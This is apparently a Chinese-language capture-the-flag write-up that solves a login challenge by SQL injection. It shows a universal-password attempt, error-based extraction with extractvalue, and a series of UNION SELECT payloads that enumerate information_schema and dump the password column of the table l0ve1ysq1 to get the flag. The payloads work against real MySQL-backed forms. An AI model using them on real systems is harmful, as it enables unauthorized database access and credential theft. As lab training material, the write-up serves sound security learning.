打开题目:
尝试万能密码:
跳转到check.php页面,并得到用户名和密码
尝试密码md5解密失败
接下来,尝试常规的注入手段
payload:1' union select
出现报错回显,说明这里没有什么过滤
于是,开始爆数据库名-表名-字段名
1. 爆数据库名
- 方法1
payload:1' union select * from a#
报错回显为:
可以得到数据库名为geek - 方法2
payload:1' and extractvalue(1,concat(1,database()))#
2. 寻找注入点
payload:1' union select 1,2,3,4#
回显:
说明没有这么多个字段
那把payload改成1' union select 1,2,3#
成功找到注入点
3. 爆表名
payload:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
回显:
可以看到,数据库中存在geekuser和l0ve1ysq1这两个表
4. 爆字段名
payload:1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
回显:
这里有3个字段:id,username和password
根据直觉,猜测flag应该在password字段中
5. 找password字段下的所有条目
payload:1' union select 1,2,group_concat(password) from l0ve1ysq1#
回显:
得到flag